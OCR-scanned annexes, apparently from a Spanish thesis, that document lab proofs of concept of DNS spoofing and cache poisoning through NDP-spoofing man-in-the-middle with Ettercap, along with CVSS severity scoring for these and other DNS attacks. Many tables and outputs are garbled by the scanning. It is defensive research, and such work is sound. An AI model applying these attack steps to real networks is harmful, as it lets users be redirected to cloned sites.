El cliente consulta al dominio coomunicate.com exigiendo validacion DNSSEC,
obteniendo como respuesta que al dominio coomunicate.com le corresponde el
registro AAAA 2001:12:7000::cafe:37.
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root@Cliente-validador:~# dig AAAA coomunicate.com +dnssec +multilire

; <<>> DiG 9.10.3-P4-Debian <<>> AAAA coomunicate.com +dnssec +multiline
;+ global options: +cmd
7+ Got answer:

; ; ->>HEADER<<- opcode: QUERY, status: NOERRPR, id: 56793

a; QUERY: I, ANSWER: 1, AUTHORITY: 2, ADDITIONAL: 1
;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags: do; udp: 4096

;; QUESTION SECTION:
;coomunicate.com. IN AAAA

; ANSWER SECTION:
coomunicate. com. D00 IN ARAR 2001:12:7000::cate:37 |

;3 AUTHORITY SECTION:

604786 IN NS f.root-servers.net.

604786 IN RRSIG NS 8 0 604800 (
20180918123957 20180819123957 36276 .
WOlds+3muKXufBfRYd09T9zPH+GQERwc11ik0OQVp1NX4
jXgMA9fKviqSb+PD1Tke6LOZErkSvnu+BaQZE1VNHXMI
qFzuuJqNwOrCeQo/it5/h1JDYZb/59DN8pB8Hdi1P3V
g9TqqNN1UdKKLIVIWQ2eNteSGM8yV+11yNI3QImUtVmy
m5RyowP5QgB1rnBE8dXRuwMz2Qgtj cavEuSFxn6tEHIU
yX2+8XXONMhdE6BYO/2gAD3wX4vKdi01Wrkcg8000epH
t91ZzAMUKZzwUGFOtxwiFCI47HIYYOt2+cEV50Y/dRGO7
10EVA/180fRxDvODRqtLOYPgQUsGPp268dg==

;: Query time: 2 msec
7+ SERVER: 2001:12:7000::cafe:25#53(2001:12:7000::cafe:25)

;; WHEN: Tue Aug 21 04:26:29 -05 2018
;3 MSG SIZE rcvd: 389

Entre las caracteristicas la respuesta obtenida por el cliente estan:
e Larespuesta no ha sido validada usencia del bit ad en el campo flags

e El estado de la respuesta es NOERROR
e Eltiempo que tarda en llegar la respuesta es de 2ms

El como se llega a esta respuesta se pude apreciar tambien, desde el la
herramienta wireshark. El cliente consulta al servidor cache, este al o tener
informacién consulta a al servidor raiz, mientras tanto el atacante suplanta al
servidor cache y contesta al cliente y por ultimo el atacante suplanta al servidor
raiz enviando de igual forma informacion falsa al servidor DNS cache que la
reenvia tiempo después al cliente.

No. Time Source Destination Protecel Length Info
1559 131.86688 2001:12:7000: :cate:25 2001:12:7000::cafe:5 DNS 95 Standard query 0x5614 AAAA coomunicate.com
1560 131.86707 2001:12:7000: : cafe:25 2001:12:7000: :cafe:5 DNS 79 standard query 0x6b09 NS <Root>
1561 131.86799 2001:12:7000: :cafe:5 2001:12:7000::cafe:25 DNS 123 standard query response 0x5614 AAAA 2001:12:7000::cafe:37
1562 131.86841 2001:12:7000: :cafe:5 2001:12:7000::cafe:25 DNS 138 standard query response 0x6b09 NS f.root-servers.net
1563 131.86886 2001:12:7000: :cafe:5 2001:500:2f::f:bebe:2 DNS 95 Standard query Oxc8f5 AAAA coomunicate.com
1564 131.86887 2001:12:7000: :cafe:5 2001:500:2f::f:bebe:2 DNS 79 standard query 0x3e08 NS <Root>
1565 131.87053 2001:12:7000: :cafe:25 2001:500:2f::f:bebe:2 DNS 90 standard query 0xf34b NS <Root>
1566 131.87408 2001:500:2f::f:bebe:2 2001:12:7000::cafe:25 DNS 722 standard query response 0xf34b NS f.root-servers.net RRSIG
1567 131.87959 2001:500:2f::f:bebe:2 2001:12:7000: :cafe:5 DNS 123 standard query response Oxc8f5 AAAA 2001:12:7000::cafe:37
1568 131.88042 2001:12:7000: :cafe:5 2001:12:7000::cafe:25 DNS 182 standard query response 0x5614 AAAA 2001:12:7000::cafe:37

Memoria cache principal Para revisar envenenamiento

Vista desde cache

Una vez se ha analizado el proceso de consulta desde el cliente se determinara la
informacion generada en el servidor DNS cache producida por las consultas
realizadas.
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De igual forma se observa la memoria cache del servidor DNS cache a quien el
cliente consulta, para observar los datos almacenados por las consultas
realizadas, utilizando el comando grep para determinar si se ha almacenado
informacion relacionada a las consultas hechas.

En un principio se utiliza el comando grep para determinar si en la memoria cache
se ha almacenado informacién relacionada con las consultas realizadas
root@validador:/var/cache/bind# cat named dump.db | grep comunicate.com
www . comunicate. com. 2523 AAAA 2001:12:7000: :cafe: 37

root@validador:/var/cache/bind# cat named dump.db | grep coomunicate.com
coomunicate.com. 2537 AAAA 2001:12:7000: :cafe:37

Una vez se ha determinado que en la memoria cache se ha almacenada
informacion relacionada a las consultas, se realiza un recorrido general sobre los
datos almacenados en la memoria, para identificar los datos almacenados debido
a las consultas realizadas.

Memoria cache principal

En las imagenes de abajo se puede observar los diferentes registro de recursos
almacenados de los dominios relacionados a la consultas.

Dominio www.comunicate.com y dominio coomunicate.com

El servidor cache al no validar, almacena los registros AAAA
2001:12:7000::cafe:37 para los dominio consultados con el nivel de confianza
authanswer, que significa que la informacion se obtuvo del servidor autotirario del
dominio.

; authanswer

WWW.comunicate.com. 2523 mnpd 2001:12:7000::cafe:37

; authanswer

coomunicate.com.2537 AZRADL 2001:12:7000::cafe:37
El servidor cache que no realiza proceso de validacion se ve envenenado cuando
se realiza una consulta por los dominios comunciate.com y coomunicate.com,
cuando la cadena de confianza esta rota y el hombre en el medio se realiza entre

el servidor DNS cache y la gateway de la red CAFE.

PoC de DNS Spoofing entre el Servidor Cache Validador y la Gateway de la
red CAFE cuando el Cliente validador consulta por el nombre de dominio
www.comunicate.com
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1. Descripcion de la prueba

La prueba de concepto de DNS Spoofing se realizé en el escenario real de
pruebas controlado con toda la cadena de confianza de la red externa e
interna firmadas con DNSSEC, mediante un ataque de HOMBRE EN EL
MEDIO con NDP spoofing entre el Servidor Cache Validador y la Gateway de
la red CAFE.

En este caso, se quiere suplantar la respuesta del Servidor DNS Autoritario del
dominio www.comunicate.com por la direccion IPv6 del atacante Kali, con el

propésito de envenenar la memoria del Servidor Cache con soporte de
validacion DNSSEC insertando un registro DNS falso en la TABLA DNS. De
esta forma, en lugar de dirigir al usuario o usuarios al sitio web legitimo, las
victimas seran direccionadas al sitio web falso clonado por el atacante, cuando
realicen una consulta al dominio www.comunicate.com.

Al efectuar la prueba se determinara si el Servidor Cache con soporte de
validacion DNSSEC, es o no es vulnerable al envenenamiento de la memoria
cache, si valida o no valida la autenticidad de la respuesta DNS sobre quien
es el Servidor Autoritario legitimo al que pertenece el dominio
www.comunicate.com, cuando el cliente realice una consulta a ese sitio, de

esta manera se evaluara si la prueba fue exitosa o no, teniendo en cuenta que
en este escenario los clientes realizan el proceso de validacion DNSSEC,
ademas del Servidor Cache recursivo de la organizacion.

2. Herramienta: Para la realizacion de la prueba se utilizé Ettercap, v2.8
3. Topologia de Red del Ambiente real de Prueba.
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Fig. x Topologia de Red del Ambiente real de Prueba

Ambiente de la prueba:
La prueba se desarroll6 en un escenario real de pruebas controlado que
cumple con las siguientes caracteristicas:

La cadena de confianza DNSSEC se encuentra rota (dominio com se
encuentra sin firmar.)

El proceso de validacion de las respuestas DNS es efectuado por el
Cliente Validador y el Servidor Cache recursivo de la organizacién, que
posee tanto la clave publica del servidor raiz f.root-servers.net como la
del dominio bancodk.com.

Se realiz6 un ataque de hombre en el medio entre el Servidor Cache
validador y la Gateway de la red CAFE.

Como maquina atacante se utilizo la distribucién Kali-Linux de 64 bits,
configurando la interfaz ethO con acceso a la red interna 2001:12:7000:
CAFE:0/112.

El cliente validador Linux de la red interna CAFE, realiza las mismas
consultas en momentos de tiempo diferentes para determinar si siempre
se obtiene la misma informacion o respuesta cuando éste solicita una
consulta a www.comunicate.com.

El escenario real de pruebas se implementd con la distribucion Linux
Debian 9.4
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5. Caracteristicas de los equipos involucrados en la prueba:

¥e) EQUIPO FUNCION DIRECCION IPv6 DIRECCION MAC | INTERFACES
DEBIAN Servidor cache validador TARGET 2001:12:7000::cafe:5 08:00:27:B4:24:90 enp0s3
Router "O”tce;'é;ateway red TARGET 2001:12:7000::cafe:1 f0:4d:a2:db:f2:ce enp0s3
DEBIAN . —
Cliente validador Realiza la consulta al dominio 2001:12:7000::cafe:25 08:00:27:FB:19:D0 enp0s3
www.comunicate.com
KALI
GNUILINUX KALI Atacante 2001:12:7000::cafe:37 08:00:27:48:00:19 Etho
2018

Tabla N°. Caracteristicas de los equipos.

6. Resultados obtenidos de la Prueba:

SUPLANTACION |ENVENENAMIENTO DE | VALIDACION [ VALIDACION POC
DOMINIO ESTADO MITM VALIDADORES DE DOMINIO CACHE CACHE CLIENTE EXITOSA

WwWw.comunicate.com F

coomunicate.com NF-I

Tabla N°. Resultados obtenidos.

7. Evidencias de la PoC

Ejecucion de la PoC desde Kali

Para realizar la prueba se comienza con la seleccién de los objetivos que se veran
involucrados en la prueba, el servidor autoritario del dominio banco y el servidor
cache DNS, como se muestra en la imagen de abajo

Start Targets Hosts View Mitm Filters Logging Plugins Info
Host List =

IP Address MAC Address Description
| 2001:12:7000::cafe:1 08:00:27:27:DB:30
08:00:27:F1:2C:AS
2001:12:7000::cafe:25 08:00:27:FB:19:00

Delete Host | Add to Target 1 Add to Target 2

Randomizing -1 hosts for scanning...
Scanning the whole netmask for -1 hosts...
Probing 3 seconds for active IPv6 nodes ...

32 hosts added to the hosts list...

Host 2001:12:7000::cafe:5 added to TARGET1
Host 2001:12:7000::cafe:1 added to TARGET2
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Después de seleccionado los objetivos, se realiza envenenamiento NDP para

llevar a cabo ataque de hombre en el medio entre los servidores DNS cache y la
Gateway de la red 2001:12:7000::cafe:0/112.

rvecap v

Start Targets Hosts View Mitm Filters Logging Plugins Info
Host List x \Targets x'\
Target 1 Target 2

2001:12:7000::cafe:5 2001:12:7000::cafe:1

| Delete I Add I Delete I Add

NDP poisoning victims:

GROUP 1: 2001:12:7000::cafe:5 08:00:27:F1:2C:A5

GROUP 2 : 2001:12:7000::cafe:1 08:00:27:27:DB:30

Efecto de hombre en el medio en el Cache

Después de empezar la ejecucion del atague se observa que esta relacion se ve
afectada por MITM, como se muestra en la imagen de abajo, donde la direccién
MAC de la Gateway ha sido modificada por la del atacante.

froot@validador:~# ip -6 neigh

fe80::a00:2777:Ted8:919 dev enpbs3 1laddr 08:00:27:48:09:19 REACHABLE
(2001:12:7000: :cafe:25 dev _enpOs3 lladdr 08: GG 2'.-' fb:19:d0 STALE

{Te80: aﬂ@ 2'.-'1:1: feﬂ} lgdﬂ dev enp@s3 1laddr 08:00:27:fb: 19 d@ STALE

Vista desde Cliente

A continuacion desde la consola del cliente, se realizan una serie de consultas
para analizar las respuestas obtenidas.

Consultas

Consulta a dominio real

El cliente consulta al dominio www.comunicate.com exigiendo validacién
DNSSEC.
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root@Cliente-validador:~¥ dig AAAA www.comunicate.com +dnssec +multiline

|; <=»> DiG 9.10.3-P4-Debian <<>> AAAA www.comunicate.com +dnssec +multiline
l;; global options: +cmd
I;; Got answer:
|;; ->>HEADER<<- opcode: QUERL._status: SERVFAJL, id: 55415

[T Tlags: qr rd rE; QUERY: 1, ANSWER: ©, AUTHORITY: ©, ADDITIONAL: 1

[

[;; OPT PSEUDOSECTION:

|; EDNS: version: 0, flags: do; udp: 4096

|;; QUESTION SECTION:

|:www.comunicate. com. IN AAAA

|

[;; Query Time: 4989 msdc

B AVER: ZJOBL: L2 /U00: :cafe:25#53(2001:12:7000: :cafe:25)

l;; WHEN: Sun Aug 19 19:35:26 -05 2018

i3 MSG SIZE rcvd: 47

Consulta a dominio inexistente
El cliente consulta al dominio coomunicate.com exigiendo validacion DNSSEC.

root@Cliente-validador:~# dig AAAA coomunicate.com +dnssec +multiline

; <<>> [DiG 9.10.3-P4-Debian <<>> AAAA coomunicate.com +dnssec +multiline
;3 global options: +cmd

;1 Got answer:

;i ->>HEADER<<- opcode: QUERY, status: SERVFAIL, id: 44093

;3 Tlags: gr rd ra; QUERY: 1, ANSWER: @, AUTHORITY: ©, ADDITIONAL: 1

;+ OPT PSEUDOSECTION:

; EDNS: version: @, flags: do; udp: 4096
;3 QUESTION SECTION:

;coomunicate.com. IN AAAA

73 Query time: 1 msec
;3 SERVER: 2001:12:7000::cafe:25#53(2001:12:7000: :cafe:25)

7+ WHEN: Sun Aug 19 19:36:36 -05 2018
7+ MSG SIZE rcvd: 44

El estado del cliente validador nos permite observar que entre las consultas
realizadas por el cliente esta la consulta por el dominio coomunicate.com,
informando que la respuesta es insegura

MEMORIA CACHE

De igual forma se observa la memoria cache del servidor DNS cache a quien el
cliente consulta, para observar los datos almacenados por las consultas
realizadas, utilizando el comando grep para determinar si se ha almacenado
informacion relacionada a las consultas hechas.

En un principio se utiliza el comando grep para determinar si en la memoria cache
se ha almacenado informacioén relacionada con las consultas realizadas.
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root@validador:/var/cache/bind# cat named dump.db | grep comunicate.com
www. comunicate. com. 2631 AAAA 2001:12:7000: :cafe: 37
root@validador:/var/cache/bind# cat named dump.db | grep www.comunicate.com
www . comunicate. com. 2631 AAAA 2001:12:7000: :cafe:37
root@validador:/var/cache/bind# cat named dump.db | grep coomunicate.com
coomunicate.com. 2602 AAAA 2001:12:7000: :cafe: 37

Se puede observar que en la memoria del cache validador se ha almacenado
informacion relacionada a los dominios consultados.

Una vez se ha determinado que en la memoria cache se ha almacenado
informacion relacionada a las consultas, se realiza un recorrido general sobre los
datos almacenados en la memoria, para identificar los datos almacenados debido
a las consultas realizadas.

Memoria cache principal

En las imagenes de abajo se puede observar los diferentes registro de recursos
almacenados de los dominios relacionados a la consultas.

Dominio www.comunicate.com

El cache validador ha almacenado con nivel de answer, el registro AAAA del
dominio www.comunicate.com. Esto debido a que no puede validar la informacién
recibida.

; answer
www.comunicate.com. 2631 z2nnr 2001:12:7000::cafe:37

Dominio coomunicate.com

El cache validador ha almacenado con nivel de answer, el registro AAAA del
dominio coomunicate.com. Esto debido a que no puede validar la informacion
recibida.

; answer
coomunicate.com.2602 AZRR 2001:12:7000::cafe:37
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ANEXO 4
EVALUACION DE VULNERABILIDADES

Evaluaciéon de vulnerabilidad con las PoC de Transferencia De Zona

En la Tabla se muestra que la evaluacion de vulnerabilidad con las pruebas de
transferencia de zona en los servidores autoritarios DNS/DNSSEC configurados
sobre el sistema operativo Centos, se obtiene una Puntuacién CVSS de 3.4y 3.9
gue corresponden a una severidad asociada de Baja.

Se determina que el valor cuantitativo de la vulnerabilidad esta representado
por el siguiente puntaje como se puede apreciar en la siguiente Figura:

DOMINIC
CONFIGURACION METRICA METRICA METRICA SCORE
No PLATAFORMA SEGURA INTERNO/ DNS/DNSSEC EXITO PoC BASE TEMPORAL | AMBIENTAL cvss SEVERIDAD
EXTERNO
1 CENTOS NO INTERNO DNS si 53 51 34 34 BAJA
2 CENTOS NO INTERNO DNSSEC NSEC si 53 51 34 34 BAJA
3 CENTOS NO INTERNO | DNSSSEC NSEC3 si 53 51 34 34 BAJA
4 CENTOS NO EXTERNO DNS sl 5,9 57 39 39 BAJA
5 CENTOS NO EXTERNO DNSSEC NSEC Sl 59 57 39 39 BAJA
6 CENTOS NO EXTERNO | DNSSSEC NSEC3 Sl 59 57 39 39 BAJA

Para las pruebas 1,2,3 se aplican los siguientes valores de métricas bases,
temporales y ambientales.

METRICA BASE

Base Score

Attack Vector (AV)

AU Adjacent (A) IREEEIRY Physical (P)

Attack Complexity (AC)

Privileges Required (PR)

None (N) Low ( High (H)

User Interaction (Ul)

O | requiced ()

Scope (S)

Unchanged (U) Changed (C)



METRICA TEMPORAL

Temporal Score

Exploit Code Maturity (E)

\Not Defined (X)J {Unproven (U)] [Proof-of—(oncept(P)J [Functional (F)I

Remediation Level (RL)

O 0
| Not Defined (X)| | Temporary Fix (T)J | workaround (W)J \Unavailable(U)J
Report Confidence (RC)

(NotDeﬁned (X)J [Unknown (U)J LReasonabIe(R)J

METRICA AMBIENTAL

Environmental Score

Confidentiality Requirement (CR)

[’Not Defined (X) {Medium (M)\ {High (H)

Integrity Requirement (IR)

(Not Defined (x)] (Low ()] [Medium (v))
Availability Requirement (AR)

LNot Defined (X)l \Low(L)l [Medium (M)]

Modified Attack Vector (MAV)

PARA LOS CASOS 4,5,6 SE APLICAN LOS SIGUIENTES VALORES DE
METRICAS BASES, TEMPORALES Y AMBIENTALES.

METRICA BASE

Base Score

Attack Vector (AV)

[Adjacent (A)J [Local (L)n“ [Phys:cal(P)J

Attack Complexity (AC)

Privileges Required (PR)

|Low (1) | | High (H)

User Interaction (U1)

"Required (R)J
METRICA TEMPORAL




Temporal Score

Exploit Code Maturity (E)

Not Defined (X) | | Unproven (U) | | Proof-of-Concept (P) | | Functional (F)

Remediation Level (RL)

Not Defined (X) | KSI<EIRTY(®QN | Temporary Fix (T) | | Workaround (W) | | Unavailable (U)

Report Confidence (RC)

Not Defined (X) | | Unknown (U) | | Reasonable (R) | Kealilst=tK(®)]

METRICA AMBIENTAL

Environmental Score

Confidentiality Requirement (CR)
Not Defined (X) \ Medium (M) High (H)
Integrity Requirement (IR)

Not Defined (X) Low (L) ‘ Medium (M)

Availability Requirement (AR)

Not Defined (X) Low (L) ‘ Medium (M)
Modified Attack Vector (MAV)

Evaluaciéon de vulnerabilidad con las PoC de Enumeracién De Dominios Por
Consulta Incorrecta

A continuacién se presenta el valor cuantitativo de severidad que presento la
vulnerabilidad en cado uno de los casos, en base a las métricas de CVSS: base,
temporal y ambiental. Para determinar por ultimo la severidad asociada en cada
una de las PoC realizadas de enumeracion de dominio por consultas incorrectas.

No | PaTarorma | onssec | wremNo. | EXTO | METRICA | METRICA | METRICA | SCORE |opyennyp
EXTERNO
1 CENTOS DNSSEC NSEC | INTERNO S| 53 51 34 34 BAJA
2 CENTOS DNSSEC NSEC | EXTERNO S| 59 57 39 39 BAJA
3 DEBIAN DNSSEC NSEC | INTERNO S| 53 51 34 34 BAJA
4 DEBIAN DNSSEC NSEC | EXTERNO S| 59 57 39 39 BAJA
5 WIND DNSSEC NSEC | INTERNO S| 53 51 34 34 BAJA

Para los casos 1,3,6 se aplica los siguientes valores:



METRICA BASE

5.3

(Medium)

Base Score

Attack Vector (AV)

Network (N) | Local (L)r frPhystcal(P)VJ h

Attack Complexity (AC)

o)

Privileges Required (PR)

[Low ()| | High (H)

User Interaction (UI)

| Required (R)]

Scope (S)

METRICA TEMPORAL

Temporal Score

Exploit Code Maturity (E)

[Not Defined (X)} (Unproven (U)] [Proof~of—Concept (P)J [Functional (F)]

Remediation Level (RL)

Not Defined (X) [Temporary Fix (T)J [Workaround (W)J LUnavaiIabIe(U)j

Report Confidence (RC)

[Not Defined (X)J [Unknown (U)W [Reasonable (R)]

METRICA AMBIENTAL

Environmental Score

Confidentiality Requirement (CR)

Integrity Requirement (IR)

(Not Defined (x)] (Low ()] [ Medium (v |

Availability Requirement (AR)

(Not Defined (X)) [Low (1)] Medium ()

Modified Attack Vector (MAV)

Para los casos 2,4,6 se aplica los siguientes valores



METRICA BASE

Base Score

Attack Vector (AV)

[ Adjacent (A)\ | Local (L) | Physical (P) |

Attack Complexity (AC)

fiowv)

Privileges Required (PR)

fiowit] (ah o)

User Interaction (Ul)

| Required (R) ‘

Scope (S)

PLEIEREEER®Y | changed (C) |

METRICA TEMPORAL

Temporal Score

Exploit Code Maturity (E)

[Not Defined (X)J ;Unproven (U)] “Proof-of-Concept(P)‘} (Functional (F)J

Remediation Level (RL)

} Not Defined (X) (Temporary Fix(‘l’)} {Workaround (W)j {Unavailable(u)}
Report Confidence (RC)

{Not Defined (X): “:Unknown (U)‘ [Reasonab(e (R)W

METRICA AMBIENTAL

Environmental Score

Confidentiality Requirement (CR)

:NotDefined ) [Medium ol :High (H)

Integrity Requirement (IR)

Not Defined (X)| fLow(L)] [ Medium |
Availability Requirement (AR)

[Not Defined (x)| (ow) [Medium |
Modified Attack Vector (MAV)

Evaluacion de La Vulnerabilidad con la PoC de Denegacion de Servicio

El valor asociado de severidad para la PoC de denegacion de servicio se presenta
en la tabla de abajo, esta PoC se realiza cuando el servidor DNS es solamente
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DNS y cuando tiene implementado las extensiones de seguridad y ejecuta desde
la red interna dela organizacion (red CAFE), teniendo como objetico al servidor
interno autoritario del dominio bancodk.com y el servidor externo autoritario del
dominio comunicate.com.

No PLATAFORMA DOMINIO OBJETIVO | SO-DOMINIO DNS/DNSSEC | HERRAMIENTA METRICA | METRICA | METRICA SCORE SEVERIDAD

BASE | TEMPORAL | AMBIENTAL CVss

1 WIND-CENTOS COMUNICATE.COM CENTOS DNS DENIALG 6,8 6,6 8,7 8,7
2 WIND-CENTOS COMUNICATE.COM CENTOS DNSSEC NSEC3 DENIAL6 6,8 6,6 8,7 8,7
3 WIND-CENTOS BANCODK.COM WINDOWS DNS EVIL FOCA 6,1 6 8 8
4 WIND-CENTOS BANCODK.COM WINDOWS DNSSEC NSEC3 DENIALG 6,1 ] 8

Para los casos 3 y 4 se aplica los siguientes valores:

METRICA BASE

Base Score

Attack Vector (AV)

[ Adjacent (A) | | Local (L) | | Physical (P)

Attack Complexity (AC)
Low (L) | Wal:ul(a)]

Privileges Required (PR)

Low (L) | | High (H) |

User Interaction (Ul)

Required (R) ‘

Scope (S)
METRICA TEMPORAL

Temporal Score

Exploit Code Maturity (E)

Not Defined (X) | | Unproven (U)! Proof-of-Concept (P) Functional(F)‘ High (H)

Remediation Level (RL)

Not Defined (X)‘ Official Fix () | Temporary Fix(T)i Workaround (W) ‘Unavailable )|
Report Confidence (RC)

Not Defined (X) | | Unknown (U) Reasonable(R)j Confirmed (C)




METRICA AMBIENTAL

Environmental Score

Confidentiality Requirement (CR)

Not Defined (X) Medium (M) | | High (H)

Integrity Requirement (IR)

NotDefined(X)J Medium (M) | | High (H)

Availability Requirement (AR)

[Not Defined (X)) [Low (L)J [Medium (M)J

Modified Attack Vector (MAV)

PARA LOS CASOS 3Y 4 SE APLICA LOS SIGUIENTES VALORES:
METRICA BASE

Base Score (Medium)
Attack Vector (AV)
Attack Complexity (AC)

Privileges Required (PR)

Low ()| [High (H)

User Interaction (Ul)

m Required (R)

Scope (S)

Unchanged (U) Changed (C)

METRICA TEMPORAL

6.0

(Medium)

Temporal Score

Exploit Code Maturity (E)

[Not Defined (X)] (Unproven (U)] [Proof—of—Concept(P)] [Functional (F)]

Remediation Level (RL)

(NotDeﬁned (Xﬂ (Official Fix(O)] {Temporary le(l')} Unavailable (U)

Report Confidence (RC)

[Not Defined (X)] {Unknown (U)] [Reasonable (R)]




METRICA DE ENTORNO

Environmental Score

Confidentiality Requi (CR)

(Not Defined (x) Medium (M)

Integrity Requirement (IR)

\i\lotDeﬁned(Xi Medium(M)}

Availability Requir t (AR)

High (H) |

High (H) |

[ Not Defined ()| |Low ()| | Medium (M) |

Modified Attack Vector (MAV)

8.0

(High)

Evaluacion De La Vulnerabilidad Con PoC de Dns Spoofing, Cuando Se
Ejecuta la Poc Desde La Red Externa.

Se presenta el valor de severidad asociado a la PoC de DNS Spoofing, en los

diferentes casos cuando se ejecuta la PoC desde la red Externa.

SUPLANTACION | ENVENENAMENTO | VALIDACION | VALIDACION METRICA | METRICA | METRICA | SCORE
DOMNO ESTADO HTH VALIDADORES DE DOMNID DE CACHE CACHE CLIENTE ALHE0E BASE | TEMPORAL | AMBIENTAL | CVSS
GATEWAY RED BACA -
F COMUNICATE.COM CACHE sl NO sl NO sl 75 73 73 73
. GATEWAY RED BACA -
coomunicate.com NF-| COMUNICATE.COM CACHE sl NO sl NO sl 75 73 73 73

Para todos los casos De DNS Spoofing, se aplican los siguientes valores:

METRICA BASE

Base Score

Attack Vector (AV)

‘Ad]acent(A)‘; [Local (L)> :PhySIcaI(P)

Attack Complexity (AC)

£

Privileges Required (PR)

Low (L) | ‘7High (H,),!

User Interaction (Ul)

’ None (N) | IRECIER]

Scope (S)

75

(High)

SEVERIDAD



METRICA TEMPORAL

Temporal Score

Exploit Code Maturity (E)

[_Not Defined (X)J [Unproven (U)J [Proof»of—Concept(P)} [Functional (F)J

Remediation Level (RL)

[Not Defined (X)J (Ofﬁcial Fix (O)J [Temporary Fix(l’)J LUnavaiIabIe(U)]

Report Confidence (RC)

[ Not Defined (X)} | Unknown (U)] LReasonable(R)]

METRICA AMBIENTAL

Environmental Score

Confidentiality Requirement (CR)

Not Defined (X) | [Medium (M)} [High (H)]

Integrity Requirement (IR)

[ Not Defined (X)J {Low(L)J [Medium (M)J

Availability Requirement (AR)

(Not Defined (X)} {Low(L)] [Medium (M)J

Modified Attack Vector (MAV)




Evalaucion De La Vulnerabildaida Con PoC De DNS Spoofing, Cuando La Cadena De Confianza Esta

Firmada.

El célculo de la severidad asociada a PoC se aplica el sobre el elemento vulnerable y afectado por la PoC, en
algunos casos una misma PoC tiene 2 elementos vulnerables y afectados, como se presenta en las tablas de abajo

PoC CLIENTE CACHE
eatuacas. oomNo ESTADO w varoaooRes | gs |GG | reweom | avewa |METRCABASEl Uil | e |METRCABASEl ool | aveewmL | cves | SEVERIDAD
1 Sl 71 6,9 6,9 7,1 6,9 6,9 6,9 MEDIA
2 F CLIENTE -CACHE CACHE Si 71 6,9 6,9 71 6,9 6,9 6,9 MEDIA
3 Sl 7.1 6,9 6,9 7.1 6,9 6,9 6,9 MEDIA
4 Sl 7.1 6,9 6,9 7.1 6,9 6,9 6,9 MEDIA
5 e EeeT e CLIENTE -CACHE sI 7.1 6,9 6,9 71 6,9 6,9 6,9 MEDIA
6 www.transacciones.bancodk.com F CACHE sl 71 6,9 6,9 71 6,9 6,9 6,9 MEDIA
7 CLIETNE-WEB BANCO Sl 7.1 6,9 6,9 7.1 6,9 6,9 6,9 MEDIA
8 Sl 7,1 6,9 6,9 7,1 6,9 6,9 78 7.7 7.7 6,9 MEDIA
9 coomunicate.com NE-I CLIENTE -CACHE CACHE SI 7,1 6,9 6,9 7,1 6,9 6,9 6,9 MEDIA
10 Si 7l 6,9 6,9 7,1 6,9 6,9 7,9 7,7 77 6,9 MEDIA
11 Si 71 6,9 6,9 71 6,9 6,9 6,9 MEDIA
baancodk.com NF-I CACHE
12 CLIENTE -CACHE SI 71 6,9 6,9 71 6,9 6,9 6,9 MEDIA
13 SI 75 7,3 5,6 7,1 6,9 52 7,9 77 6,1 56 MEDIA
14 CLIENTE -CACHE CACHE SI 71 6,9 52 7,1 6,9 52 52 MEDIA
15 SI 71 6,9 52 71 6,9 52 52 MEDIA
16 SI 75 7,3 5,6 7,1 6,9 52 7,9 77 6,1 56 MEDIA
17 www.networks.com NE CLIENTE -CACHE SI 7,1 6,9 52 71 6,9 52 52 MEDIA
18 SI 75 7,3 5,6 7,1 6,9 52 7,9 77 6,1 56 MEDIA
19 SI 71 6,9 52 71 6,9 52 52 MEDIA
20 CLIENTE -CACHE CLIENTE-CACHE SI 71 6,9 52 71 6,9 52 52 MEDIA
21 SI 71 6,9 52 7,1 6,9 52 52 MEDIA

donde la PoC tiene efecto en el cliente como en el servidor cache.

Paralos casos 1al 7,9,11y 12 se aplican los siguientes valores:
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METRICA BASE

7

(High)

Base Score

Attack Vector (AV)
Attack Complexity (AC)

Low (L)

Privileges Required (PR)

User Interaction (U1)

None (N) | IRELUIEER(S]

Scope (S)

Changed (C)
METRICA TEMPORAL

6.9

(Medium)

Temporal Score

Exploit Code Maturity (E)

[Not Defined (X)} [Unproven (U)} (Proof-of—Concept(P)J [Functionai (F)J

Remediation Level (RL)

[Not Defined (X)] [ofﬁcial Fix (0)] {Temporary Fix (r)J Unavailable (U)

Report Confidence (RC)

[Not Defined (X)} [Unknown (U)] [Reasonable(R)}

METRICA AMBIENTAL

6.9

Environmental Score (Medium)

Confidentiality Requirement (CR)

] g )

Integrity Requirement (IR)

[Not Defined (X)] (Low(L)] [Medium (M)}

Availability Requirement (AR)

[Not Defined (x)| [Low ()| [ Medium (v)|

Modified Attack Vector (MAV)
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Para los casos 14, 15, 19 al 21 se aplican los siguientes valores:

METRICA BASE

Base Score (High)
Attack Vector (AV)
Network (N) | Local (L) | | Physical (P)
Attack Complexity (AC)

Privileges Required (PR)

font)

User Interaction (UI)

None (N; Required (R)

Scope (S)

METRICA TEMOPORAL

6.9

(Medium)

Temporal Score

Exploit Code Maturity (E)

{Not Defined (X)J lUnproven (U)] [Proof—of—Concept(P)J [Functional (F)]

Remediation Level (RL)
[Not Defined (X)J [Ofﬁcial Fix (O)J LTempurary Fix (I’)J Unavailable (U)
Report Confidence (RC)

{Not Defined (X)} (Unknown (U)] [Reasonable (R)]

METRICA AMBIENTAL

SV

] (Medium)

Environmental Score

Confidentiality Requirement (CR)

Integrity Requirement (IR)

Not Defined (X) LMedium(M) High (H)

Availability Requirement (AR)

Modified Attack Vector (MAV)
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SEVERIDAD ASOCIADA PARA PoC DE DNS SPOOFING, CUANDO LA CADENA DE CONFIANZA ESTA

FIRMADA

A continuacion se presenta la severidad asociada a PoC, cuando la cadena de confianza esta firmada, el servidor

cache es el Unico que realiza el proceso de validacion en la consulta DNSSSEC. Cuando el servidor cache validador

se encuentra implantado en un windows server 2012.

SUPLANTACION DE

ENVENENAMIENTO DE

VALIDACION

METRICA

METRICA

METRICA

SCORE

No DOMINIO ESTADO MITM VALIDADORES DOMINIO CACHE VALIDACION CACHE CLIENTE POC EXITOSA BASE TEMPORAL AMBIENTAL CVSS SEVERIDAD
1 CACHE-GATEWAY Sl NO Sl NO Sl 7.1 6.9 6.9 6,9 MEDIA
F CACHE : :

2 CLIENTE-GATEWAY Sl NO Sl NO Sl 7.1 6.9 6.9 6,9 MEDIA
3 bancodk.com F CACHE-BANCODK CACHE Sl NO Sl NO Sl 7.1 6.9 6.9 6,9 MEDIA
4 CACHE-GATEWAY Sl S| NO NO Sl 7.9 77 77 7,7

coomunicate.com F CACHE ' ' '
5 CLIENTE-GATEWAY S| S| NO NO Sl 79 77 77 7,7
6 baancodk.com F CACHE-BANCODK CACHE S| S| NO NO Sl 7.9 77 77 7,7

Para los casos 1 al 3 se aplica los siguientes valores:
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METRICA BASE
70

Base Score (High)

Attack Vector (AV)

